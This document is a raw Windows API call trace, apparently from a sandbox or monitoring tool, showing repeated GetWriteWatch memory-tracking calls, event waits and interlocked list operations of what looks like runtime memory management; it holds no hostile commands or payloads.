[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x740b000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7407000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7406000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7404000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7400000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x741f000, dwRegionSize=0x1000, lpAddresses=0x73ffe0c, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10 | out: lpAddresses=0x73ffe0c*=0x73ffe20, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x741e000, dwRegionSize=0x1000, lpAddresses=0x73ffe0c, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10 | out: lpAddresses=0x73ffe0c*=0x73ffe20, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10) returned 0x0
[0210.727] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x741d000, dwRegionSize=0x1000, lpAddresses=0x73ffe0c, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10 | out: lpAddresses=0x73ffe0c*=0x73ffe20, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10) returned 0x0
[0210.727] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x741c000, dwRegionSize=0x1000, lpAddresses=0x73ffe0c, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10 | out: lpAddresses=0x73ffe0c*=0x73ffe20, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10) returned 0x0
[0210.727] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x741a000, dwRegionSize=0x1000, lpAddresses=0x73ffe0c, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10 | out: lpAddresses=0x73ffe0c*=0x73ffe20, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10) returned 0x0
[0210.727] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7418000, dwRegionSize=0x1000, lpAddresses=0x73ffe0c, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10 | out: lpAddresses=0x73ffe0c*=0x73ffe20, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10) returned 0x0
[0210.727] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7417000, dwRegionSize=0x1000, lpAddresses=0x73ffe0c, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10 | out: lpAddresses=0x73ffe0c*=0x73ffe20, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10) returned 0x0
[0210.727] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7415000, dwRegionSize=0x1000, lpAddresses=0x73ffe0c, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10 | out: lpAddresses=0x73ffe0c*=0x73ffe20, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10) returned 0x0
[0210.727] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7410000, dwRegionSize=0x1000, lpAddresses=0x73ffe0c, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10 | out: lpAddresses=0x73ffe0c*=0x73ffe20, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10) returned 0x0
[0210.727] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x740f000, dwRegionSize=0x1000, lpAddresses=0x73ffe0c, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10 | out: lpAddresses=0x73ffe0c*=0x73ffe20, lpdwCount=0x73ffe14, lpdwGranularity=0x73ffe10) returned 0x0
[0210.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a40 | out: lpSystemTimeAsFileTime=0x6315a40*(dwLowDateTime=0x7b50e398, dwHighDateTime=0x1d7e6dd))
[0210.727] SetEvent (hEvent=0x38c) returned 1
[0210.727] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x73ffef8*=0x390, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0210.763] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7583000, dwRegionSize=0x1000, lpAddresses=0x73ffe10, lpdwCount=0x73ffe18, lpdwGranularity=0x73ffe14 | out: lpAddresses=0x73ffe10*=0x7583000, lpdwCount=0x73ffe18, lpdwGranularity=0x73ffe14) returned 0x0
[0210.763] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7409000, dwRegionSize=0x1000, lpAddresses=0x73ffe10, lpdwCount=0x73ffe18, lpdwGranularity=0x73ffe14 | out: lpAddresses=0x73ffe10*=0x0, lpdwCount=0x73ffe18, lpdwGranularity=0x73ffe14) returned 0x0
[0210.763] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7401000, dwRegionSize=0x1000, lpAddresses=0x73ffe10, lpdwCount=0x73ffe18, lpdwGranularity=0x73ffe14 | out: lpAddresses=0x73ffe10*=0x0, lpdwCount=0x73ffe18, lpdwGranularity=0x73ffe14) returned 0x0
[0210.763] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x967a000, dwRegionSize=0x1000, lpAddresses=0x73ffe10, lpdwCount=0x73ffe18, lpdwGranularity=0x73ffe14 | out: lpAddresses=0x73ffe10*=0x0, lpdwCount=0x73ffe18, lpdwGranularity=0x73ffe14) returned 0x0
[0210.763] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x967b000, dwRegionSize=0x1000, lpAddresses=0x73ffe10, lpdwCount=0x73ffe18, lpdwGranularity=0x73ffe14 | out: lpAddresses=0x73ffe10*=0x0, lpdwCount=0x73ffe18, lpdwGranularity=0x73ffe14) returned 0x0
[0210.763] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x967c000, dwRegionSize=0x1000, lpAddresses=0x73ffe10, lpdwCount=0x73ffe18, lpdwGranularity=0x73ffe14 | out: lpAddresses=0x73ffe10*=0x967c000, lpdwCount=0x73ffe18, lpdwGranularity=0x73ffe14) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x759f000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x9684000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x9683000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x9676000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x9675000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x759e000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x759d000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x759c000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x759b000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x759a000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7594000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x758d000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x758b000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7586000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7585000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7582000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7581000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.764] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7580000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.765] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x741b000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.765] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7419000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x9684000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.765] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7414000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x7414000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.765] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7411000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x7414000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.765] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x740e000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x7414000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.765] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x740d000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x7414000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.765] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x740c000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x7414000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.765] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x740b000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x740b000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.765] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7407000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x740b000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.765] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7406000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x740b000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.765] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7404000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x7404000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.766] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7400000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x7400000, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0210.766] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x741f000, dwRegionSize=0x1000, lpAddresses=0x73ffe2c, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30 | out: lpAddresses=0x73ffe2c*=0x741f000, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30) returned 0x0
[0210.766] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x741e000, dwRegionSize=0x1000, lpAddresses=0x73ffe2c, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30 | out: lpAddresses=0x73ffe2c*=0xa, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30) returned 0x0
[0210.766] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x741d000, dwRegionSize=0x1000, lpAddresses=0x73ffe2c, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30 | out: lpAddresses=0x73ffe2c*=0xa, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30) returned 0x0
[0210.767] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x741c000, dwRegionSize=0x1000, lpAddresses=0x73ffe2c, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30 | out: lpAddresses=0x73ffe2c*=0x741c000, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30) returned 0x0
[0210.767] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x741a000, dwRegionSize=0x1000, lpAddresses=0x73ffe2c, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30 | out: lpAddresses=0x73ffe2c*=0x741a000, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30) returned 0x0
[0210.767] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7418000, dwRegionSize=0x1000, lpAddresses=0x73ffe2c, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30 | out: lpAddresses=0x73ffe2c*=0x20, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30) returned 0x0
[0210.767] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7417000, dwRegionSize=0x1000, lpAddresses=0x73ffe2c, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30 | out: lpAddresses=0x73ffe2c*=0x20, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30) returned 0x0
[0210.767] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7415000, dwRegionSize=0x1000, lpAddresses=0x73ffe2c, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30 | out: lpAddresses=0x73ffe2c*=0x20, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30) returned 0x0
[0210.767] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x7410000, dwRegionSize=0x1000, lpAddresses=0x73ffe2c, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30 | out: lpAddresses=0x73ffe2c*=0x7410000, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30) returned 0x0
[0210.767] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x740f000, dwRegionSize=0x1000, lpAddresses=0x73ffe2c, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30 | out: lpAddresses=0x73ffe2c*=0x740f000, lpdwCount=0x73ffe34, lpdwGranularity=0x73ffe30) returned 0x0
[0210.767] SetEvent (hEvent=0x38c) returned 1
[0210.768] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x73ffef8*=0x390, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0210.796] RtlInterlockedPopEntrySList (in: ListHead=0x630e1b8 | out: ListHead=0x630e1b8) returned 0x9670000
[0210.796] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x9670000 | out: ListHead=0x630e198, ListEntry=0x9670000) returned 0x0
[0210.797] RtlInterlockedPopEntrySList (in: ListHead=0x630e1b8 | out: ListHead=0x630e1b8) returned 0x7587000
[0210.797] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x7587000 | out: ListHead=0x630e198, ListEntry=0x7587000) returned 0x9670000
[0210.797] RtlInterlockedPopEntrySList (in: ListHead=0x630e1b8 | out: ListHead=0x630e1b8) returned 0x7595000
[0210.797] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x7595000 | out: ListHead=0x630e198, ListEntry=0x7595000) returned 0x7587000
[0210.797] RtlInterlockedPopEntrySList (in: ListHead=0x630e1b8 | out: ListHead=0x630e1b8) returned 0x0
[0210.797] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x758c000 | out: ListHead=0x630e198, ListEntry=0x758c000) returned 0x7595000
[0210.798] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x758f000 | out: ListHead=0x630e198, ListEntry=0x758f000) returned 0x758c000
[0210.798] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x7590000 | out: ListHead=0x630e198, ListEntry=0x7590000) returned 0x758f000
[0210.798] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x7592000 | out: ListHead=0x630e198, ListEntry=0x7592000) returned 0x7590000
[0210.799] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x7593000 | out: ListHead=0x630e198, ListEntry=0x7593000) returned 0x7592000
[0210.799] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x7599000 | out: ListHead=0x630e198, ListEntry=0x7599000) returned 0x7593000
[0210.799] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x7416000 | out: ListHead=0x630e198, ListEntry=0x7416000) returned 0x7599000
[0210.799] RtlInterlockedPushEntrySList (in: ListHead=0x630c648, ListEntry=0x7364000 | out: ListHead=0x630c648, ListEntry=0x7364000) returned 0x0
[0210.799] RtlInterlockedPushEntrySList (in: ListHead=0x630c648, ListEntry=0x7365000 | out: ListHead=0x630c648, ListEntry=0x7365000) returned 0x7364000
[0210.799] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x758e000 | out: ListHead=0x630e198, ListEntry=0x758e000) returned 0x7416000
[0210.799] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x7408000 | out: ListHead=0x630e198, ListEntry=0x7408000) returned 0x758e000
[0210.799] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x7598000 | out: ListHead=0x630e198, ListEntry=0x7598000) returned 0x7408000
[0210.800] RtlInterlockedPushEntrySList (in: ListHead=0x630e198, ListEntry=0x7591000 | out: ListHead=0x630e198, ListEntry=0x7591000) returned 0x7598000
[0210.800] RtlInterlockedPushEntrySList (in: ListHead=0x630c648, ListEntry=0x7368000 | out: ListHead=0x630c648, ListEntry=0x7368000) returned 0x7365000
[0210.807] RtlInterlockedPopEntrySList (in: ListHead=0x630e1b8 | out: ListHead=0x630e1b8) returned 0x0
[0210.807] SetEvent (hEvent=0x38c) returned 1
[0210.807] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x73ffef8*=0x390, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1
[0210.807] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x73ffef8*=0x390, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1
[0212.192] GetTickCount () returned 0x1ca6dcf
[0212.192] GetTickCount () returned 0x1ca6dcf
[0212.192] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x73ffef8*=0x390, bWaitAll=0, dwMilliseconds=0x36b, bAlertable=0) returned 0x0
[0212.433] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x741c000, dwRegionSize=0x1000, lpAddresses=0x73ffe24, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28 | out: lpAddresses=0x73ffe24*=0x630e1b8, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28) returned 0x0
[0212.433] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x740b000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.433] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x759d000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.433] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x9676000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.433] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7410000, dwRegionSize=0x1000, lpAddresses=0x73ffe24, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28 | out: lpAddresses=0x73ffe24*=0x73ffe40, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28) returned 0x0
[0212.433] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x9683000, dwRegionSize=0x1000, lpAddresses=0x73ffe44, lpdwCount=0x73ffe50, lpdwGranularity=0x73ffe48 | out: lpAddresses=0x73ffe44*=0x0, lpdwCount=0x73ffe50, lpdwGranularity=0x73ffe48) returned 0x0
[0212.433] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x9675000, dwRegionSize=0x1000, lpAddresses=0x73ffe44, lpdwCount=0x73ffe50, lpdwGranularity=0x73ffe48 | out: lpAddresses=0x73ffe44*=0x0, lpdwCount=0x73ffe50, lpdwGranularity=0x73ffe48) returned 0x0
[0212.433] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x759e000, dwRegionSize=0x1000, lpAddresses=0x73ffe44, lpdwCount=0x73ffe50, lpdwGranularity=0x73ffe48 | out: lpAddresses=0x73ffe44*=0x0, lpdwCount=0x73ffe50, lpdwGranularity=0x73ffe48) returned 0x0
[0212.433] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x9684000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.433] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7404000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.433] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x740d000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x740e000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x741b000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x758b000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
